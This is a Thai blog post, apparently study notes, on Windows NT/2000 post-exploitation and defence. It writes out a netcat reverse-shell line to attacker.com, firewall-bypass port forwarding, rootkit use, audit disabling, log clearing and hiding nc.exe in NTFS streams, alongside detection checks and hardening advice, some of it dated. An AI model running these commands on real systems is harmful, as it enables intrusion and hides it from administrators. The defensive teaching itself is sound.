Net cat, rinetd และ fpipe



การ ขโมยเชลล์ของ NT ด้วย NetCat

Netcat สามารถอัพโหลดไปอยู่หลังไฟร์วอลล์ได้ โดยจะขโมยเชลล์ที่ต้องการโดยวิธี

Nc attacker.com 80 | cmd.exe | nc attacker.com 25

เป็นการให้เข้ามา พอร์ตที่ 80 ซึ่งไฟร์วอลล์จะให้ผ่านพอร์ตต่างๆเหล่านี้ทั้ง 25, และ 80 โดยผลที่ได้รับคือ netcat ฟังอยู่ที่พอร์ต 80 และส่งไปที่ลูกข่ายที่ติดต่อที่พอร์ต 25


Rinetd

เป็น โปรแกรมที่ทำการ Port rediection โดยใช้พอร์ตใน Netcat ถึง 3 การเชื่อมต่อโดยกำหนดพอร์ตที่ได้ไปยังเครื่องอื่น และพอร์ตอื่นแทนหลักการคล้ายกับ datapipe ซึ่งมีทั้ง Windows และ Linux

Bindaddress bindport connectaddress connectport


Fpipe

เป็น TCP source port forwarder/redirector ของบริษัท Foundstone โดยสามารถเปิดการเชื่อมต่อให้หมายเลขพอร์ตต้นทางเป็นอะไรก็ได้ เพื่อเจาะผ่านไฟร์วอลล์

Nc –nvv –l –p 80

ตัวอย่างเช่นเราไม่ สามารถที่ Telnet พอร์ต 23 หลัง firewall ได้เราจึงใช้พอร์ตที่ 53 แทน (DNS)

Fpipe –v –l 53 –r 23 192.168.0.11



มาตรการ ป้องกันทั่วไปเพื่อไม่ให้แฮกเกอร์ใช้ประโยชน์จากสิทธิของผู้ดูแลระบบ

ต้อง ทำการทำลาย และอุดช่องโหว่ต่างๆที่มาฝั่งตัวในเครื่อง วิธีการดูให้ดูที่

ชื่อ ไฟล์, ค่าคีย์ใน Registry, Process, และพอร์ต

ชื่อไฟล์

เช่น remote.exe, nc.exe, rinetd.exe, nbsvr.exe, patch.exe, winvnc.exe, vnchooks.dll, ominthread_tr.dell

ตรวจสอบค่าใน Startup แต่ละคน หรือใน Profiles
Registry

HKEY_USER\.Default\Software\ORL\WinVNC3

HKLM\Software\Net Solutions\NetBUS Server

ค่าใน Reg.exe โดยลบออกด้วย reg delete [value] \\ชื่อเครื่อง

เช่น reg delete HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 \\192.168.0.11

ตรวจสอบใน ค่าที่เริ่มต้น

HKLM\Software\Microsoft\Windows\CurrentVersion\Run, RunOnce, RunOnceEx, RunServices

กำหนด Permissions ให้เหมาะสม
Process

ให้ ตรวจสอบคำสั่ง AT เพื่อดู Remote.exe หรือ nc.exe แล้วทำการ Kill มันทิ้ง โดยอาจกำหนดเวลาในการ Kill ได้

Rkill.exe ใน NTRK สามารถที่ฆ่า PID ได้ถ้าทราบหมายเลข
Ports

Netstat เป็นวิธีหนึ่งที่ใช้ตรวจสอบ

Netstat –an หรือใช้งานใน Port scanner

Netstat –an | find “12345”

Fport เป็นเครื่องมือในการตรวจสอบพอร์ตและกระบวนการพร้อมๆกัน



Rootkit เป็นเครื่องมือที่ใช้เจาะระบบ

ใช้ได้กับ Windows NT และ 2000 โดยทำหน้าที่เป็นม้าโทรจัน ระบบจะไปขัดขวาง API และทำการซ่อน Process, Registry, หรือไฟล์ ข้อที่อันตรายคือทำให้แอพพลิเคชั่นไม่เสถียร

คำ สั่ง Deploy ใช้ในการติดตั้ง ค่าคีย์ที่ขึ้นต้นด้วย _root_ จะซ่อนจาก regedit.exe หรือ regedt32  และเปลี่ยนทิศทางชื่อไฟล์ _root_ เป็น c:\calc

มาตรการ ป้องกัน rootkit

ให้ใช้การสำรอง และติดตั้ง Windows NT/2000 ในแผ่นที่เชื่อถือได้ การสำรองไม่ใช่สิ่งที่แน่นอน

กฎที่สำคัญในการ กอบกู้ระบบ

         1. Known states รู้สถานะของตนเอง
         2. Repeatability ทำซ้ำได้อย่างรวดเร็ว คือเก็บต้นฉบับ หรือการทำอิมเมจ
         3. Production mode พร้อมใช้งานจริง
         4. Checklist มีสคริปต์ในการทำงานพร้อมที่กู้ระบบ

การใช้เครื่องมือ Checksum ก็เป็นวิธีหนึ่งในการป้องกันปัญหา เช่น MD5sum ก็มีการคำนวณค่าโดยอยู่ในเอกสาร RFC 1321

Md5sum d:\test.txt > d:\test.md5

Cat d:\test.md5

Md5sum –check d:\test.md5

ตรวจ สอบถ้ามี deploy.exe และ _root_.sys อยู่เครื่องให้ระวังให้ดี

Net start _root_

Net stop _root_



การอำพรางตัวเพื่อ ป้องกันผู้ดูแลระบบในการแกะรอย

เป็นเรื่องที่ธรรมดาที่ผู้เจาะระบบ ต้องสร้างประตูหลังไว้ และวางทางลับเพื่อให้สามารถกลับมาเจาะระบบได้

การ Audit

ซึ่งผู้บริหารระบบที่ตระหนักในเรื่องนี้ดีจะมีการกำหนด Audit

เครื่อง มือที่ใช้คือ auditpol จาก NTRK

Auditpol /disable

Auditpol /enable

การเคลียร์ล็อก

ทำการเคลียร์ล็อกทั้งหมดทิ้ง เครื่องมือที่ใช้คือ elsave

Elsave –s \\ชื่อเครื่อง -l “security” –c

การซ่อนไฟล์

โดยไม่ให้จับได้ในไฟล์ที่สะสม โดยใช้ Attrib

Attrib +h [directory]


NTFS File streaming

เป็นเทคนิคเขียน ไฟล์แบบต่อเนื่อง หรือหลายชุดพร้อมๆกัน เป็นกลไกในการเพิ่ม attribute ลงไปในไฟล์โดยไม่ต้องแก้ไข ซึ่ง netcat ใช้เพื่อหลบซ่อนไฟล์นี้

คำ สั่งที่ใช้คือ cp จาก NTRK ซึ่งรองรับมาตรฐาน POSIX

Cp <file> oso001.009:<file>

Cp nc.exe oso001.009:nc.exe

ผลที่ ได้เก็บสตรีมของ nc.exe ของ oso001.009 ส่วนคำสั่งยกเลิกคือ

Cp oso001.009:nc.exe nc.exe

วันเวลาที่แก้ไขเปลี่ยนแต่ขนาดไม่เปลี่ยน ซึ่งไฟล์ที่ถูกซ่อนด้วยเทคนิคนี้ยากต่อการตรวจจับมาก

ส่วนการลบไฟล์ ที่ซ่อนก็ไปเก็บไว้ใน FAT จากนั้นก็มาเก็บใน NTFS อีกครั้ง

ไฟล์ที่ ซ่อนด้วยการสตรีมนี้สามารถรันได้ขณะที่หลบซ่อนตัวอยู่ในไฟล์อื่น แต่ของจำกัดของ cmd.exe จึงทำให้ไม่สามารถที่รันได้โดยตรง คือ os001.009:nc.exe) จึงต้องใช้คำสั่ง

Start oso001.009:nc.exe

มาตรการ ป้องกัน File Streaming

มีเครื่องมือในการตรวจสอบคือ Streamfinder ดูที่ Internet Security System (ISS) คำสั่งที่ใช้คือ sfind



สรุป

สิ่ง ที่ควรปฏิบัติ

   1. ไม่ให้มีการเข้าถึงพอร์ต 135-139
   2. กำหนด TCP/IP filtering
   3. กำหนด RestrictAnonymous
   4. ยกเลิกกลุ่ม Everyone
   5. ติดตั้ง Hotfix และ SP ใหม่สุด
   6. บังคับให้มีการกำหนดรหัสผ่านที่ดี และมีบันทึกล็อก
   7. กำหนดรหัสผ่าน 7 ตัวอักษรดีที่สุด
   8. ให้เปลี่ยนชื่อ Administrator และไม่ใช้ Guest
   9. มีการกำหนดรหัสผ่าน Administrator สุด
  10. ไม่ได้กำหนดชื่อ รหัสซ้ำของ Administrator กับเครื่อง
  11. ใช้ passprop ใน NTRK เพื่อล็อก Administrator
  12. ใช้ Syskey เพื่อเข้ารหัส
  13. กำหนด audit ทั้ง success และ failure
  14. ตรวจสอบ registry ที่ HKLM\system\CurrentControlset\SecurePipservers\winreg\Allowpaths
  15. ซ่อนคีย์ Registry ด้วย

ไม่มีความคิดเห็น:

แสดงความคิดเห็น